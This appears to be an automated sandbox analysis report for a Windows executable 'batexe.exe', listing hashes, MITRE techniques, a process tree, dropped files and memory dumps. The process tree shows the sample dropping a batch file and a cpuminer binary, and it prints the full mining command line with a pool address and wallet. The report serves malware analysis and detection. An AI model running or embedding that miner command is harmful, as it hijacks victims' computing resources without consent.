73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

Analysis

max time kernel
300s
max time network
306s
platform
windows10-2004_x64
resource
win10v2004-20231215-ja
resource tags

arch:x64arch:x86image:win10v2004-20231215-jalocale:ja-jpos:windows10-2004-x64systemwindows
submitted
18/02/2024, 07:04

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General

Target

batexe.exe
Size

9.4MB
MD5

cdc9eacffc6d2bf43153815043064427
SHA1

d05101f265f6ea87e18793ab0071f5c99edf363f
SHA256

73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
SHA512

fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
SSDEEP

196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score

7^/10

upx

Malware Config

Signatures

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3073191680-435865314-2862784915-1000\Control Panel\International\Geo\Nation	batexe.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3073191680-435865314-2862784915-1000\Control Panel\International\Geo\Nation	b2e.exe

Executes dropped EXE 2 IoCs

pid	Process
4752	b2e.exe
2908	cpuminer-sse2.exe

Loads dropped DLL 5 IoCs

pid	Process
2908	cpuminer-sse2.exe
2908	cpuminer-sse2.exe
2908	cpuminer-sse2.exe
2908	cpuminer-sse2.exe
2908	cpuminer-sse2.exe

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/memory/5008-8-0x0000000000400000-0x000000000393A000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 5008 wrote to memory of 4752	5008	batexe.exe	85
PID 5008 wrote to memory of 4752	5008	batexe.exe	85
PID 5008 wrote to memory of 4752	5008	batexe.exe	85
PID 4752 wrote to memory of 3288	4752	b2e.exe	86
PID 4752 wrote to memory of 3288	4752	b2e.exe	86
PID 4752 wrote to memory of 3288	4752	b2e.exe	86
PID 3288 wrote to memory of 2908	3288	cmd.exe	89
PID 3288 wrote to memory of 2908	3288	cmd.exe	89

C:\Users\Admin\AppData\Local\Temp\batexe.exe
"C:\Users\Admin\AppData\Local\Temp\batexe.exe"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:5008
- C:\Users\Admin\AppData\Local\Temp\8393.tmp\b2e.exe
  "C:\Users\Admin\AppData\Local\Temp\8393.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\8393.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:4752
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\90D1.tmp\batchfile.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3288
  - - C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
      cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:2908

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\8393.tmp\b2e.exe

Filesize
5.6MB

MD5
bdd909fa7aa6f538c299dbe2db7decc6

SHA1
9b1745708baed2aefe080b8c593dfa84a0423ada

SHA256
1a07b9ce3ae96c4a79fb56b8cad256b177693c4344bab886e07d02c4a81b1a83

SHA512
6b1da9936b5d97f615f2aec64146ae6de6db47d6c2a5fe851e570d2aaf5065c6187491a07dcf2535f5f2b63fc4b261c07ee05680c0a6afe79f254ea223078290

Download Submit
C:\Users\Admin\AppData\Local\Temp\8393.tmp\b2e.exe

Filesize
4.3MB

MD5
92f9abd543b5f6120c02d88ed02c1a5f

SHA1
bb6f4a38b285d68640ccb014b8441b0f5c884d28

SHA256
877266b10f4b2fe2735564e2b3d504566674ce1dd2f56337d2a667917181dae7

SHA512
7bc8494e21d28fdbe759e54e64c9529e63b73b8cac93daa9381b9c6c31506eb9e5082044f7208c0dd6f0d0088bd03e1c0a9c530738cebe80f1d31f211bb8d614

Download Submit
C:\Users\Admin\AppData\Local\Temp\8393.tmp\b2e.exe

Filesize
2.8MB

MD5
59bab614c007d231f42f107858337ee3

SHA1
f632b802e95f8d45d7704b3968f7ecba360d9de6

SHA256
7403710eb783989127b06fadd821d29d66daacca1030cf3c469757cadfdaef8f

SHA512
f0f56848ea997a191b665c26087d14624ec0238df8f1d759cb798a0e7b81068f78ae9d14510a1c73de39866fcc0796088e2001ac62a6b5807b40b2fd94fb9142

Download Submit
C:\Users\Admin\AppData\Local\Temp\90D1.tmp\batchfile.bat

Filesize
136B

MD5
8ea7ac72a10251ecfb42ef4a88bd330a

SHA1
c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

SHA256
65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

SHA512
a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
13KB

MD5
551560e7419fb34062f21da2304cfe41

SHA1
cefb2e36a4656b46130e3cd2edafe6b07940be7c

SHA256
c1e6c5cc2a63159c4b0d65d198a51d12265b7ed79974240714ea1ffd057c40a3

SHA512
616e6a0998bb70aef15fc16580fc6e0137061a32aed3f359964aec5d04f2289511f869eb35baf057a638b027700034e42cd43993134c441857bde29ee4055cab

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
57KB

MD5
64968247286b64688de0b75553f688bf

SHA1
6f798a947c22dfa41f91d65ad9d87e42d6f7d196

SHA256
4caa70964618e1d2a1778da3bf6bfa1a50d3cfbb61572517e8cf8416b96c65a2

SHA512
a8533d40dbb38fba66b6f3e89c3085d457ce93a98a18f3276b85436f74581a877116fcb35faddd77dd929a6561ecad5209226a013b0dd8f52da82c7fcff944fa

Download Submit
C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
836KB

MD5
aeab40ed9a8e627ea7cefc1f5cf9bf7a

SHA1
5e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8

SHA256
218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9

SHA512
c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8

Download Submit
C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
1.2MB

MD5
7cf672bee2afba2dcd0c031ff985958e

SHA1
6b82a205db080ffdcb4a4470fce85a14413f3217

SHA256
c82f84171b9246d1cac261100b2199789c96c37b03b375f33b2c72afab060b05

SHA512
3e90d1c1efe0200cb3cc7b51d04783a3cce8391faa6ce554cff8b23dac60be9f8e4f980a8ac005fd9dff8ea4bdcb02311f7649c5be28eb32dcc26417fc4090e5

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
2.4MB

MD5
d1da2ed3fb948d36b497fa429c188b9e

SHA1
6be604beb1912644e8a9f64025adbd27121682c0

SHA256
ef45cd85f944079b5bf840072edb761207baf0ba8fb0816c9835698ef7cc67c4

SHA512
9a660b911352d35dbbf5fd4675d4b4299b75b4cfd2de39a09c5b61e1777af2756eeb38df189173e46a2b860cd380c1b9d258a00247eb9879ed6f90b9bebb8bb7

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
2.0MB

MD5
8118cd1785e5ad56ae360cad8ab3863f

SHA1
e817947015a74bab5538955a413346ba23233507

SHA256
89cb2ce7521466dfbca17c5855fa36ad2c06b87a695696c74f2c6669f5c5b429

SHA512
eb9783c30248889793b3ff089f8b84fde22e4bb7e8f514a8cdbe61e43bf32024e22b84d9db0028ed94d75df5ebbe27817d9ecf366499b49216bca17d459d666c

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
2.0MB

MD5
9ad6234042c176523746c5441061e0db

SHA1
06f655bc4f2ac6f9d4715c83c4c2cc707c2fae4c

SHA256
1f2e81453122132f9952f3a68fd4ed9bc54d70af24e7b19aee7c3c5c769eeb97

SHA512
21f3d9c61709cb35e479654e86cca3e93408e29be410582e7fa6e479d62dd2792edd75d599e4d1ba2de352bff3db282308e3e3aa89b3d00d95cffcfff49a8948

Download Submit
C:\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

Filesize
606KB

MD5
585efec1bc1d4d916a4402c9875dff75

SHA1
d209613666ccac9d0ddab29a3bc59aa00a0968fa

SHA256
2f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232

SHA512
b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770

Download Submit
memory/2908-43-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2908-48-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2908-99-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2908-44-0x0000000070800000-0x00000000708BC000-memory.dmp

Filesize
752KB

Download
memory/2908-45-0x0000000061440000-0x000000006156B000-memory.dmp

Filesize
1.2MB

Download
memory/2908-46-0x000000006F190000-0x000000006F228000-memory.dmp

Filesize
608KB

Download
memory/2908-47-0x0000000001050000-0x0000000002905000-memory.dmp

Filesize
24.7MB

Download
memory/2908-94-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2908-84-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2908-54-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2908-59-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2908-64-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2908-79-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4752-53-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/4752-7-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/5008-8-0x0000000000400000-0x000000000393A000-memory.dmp

Filesize
53.2MB

Download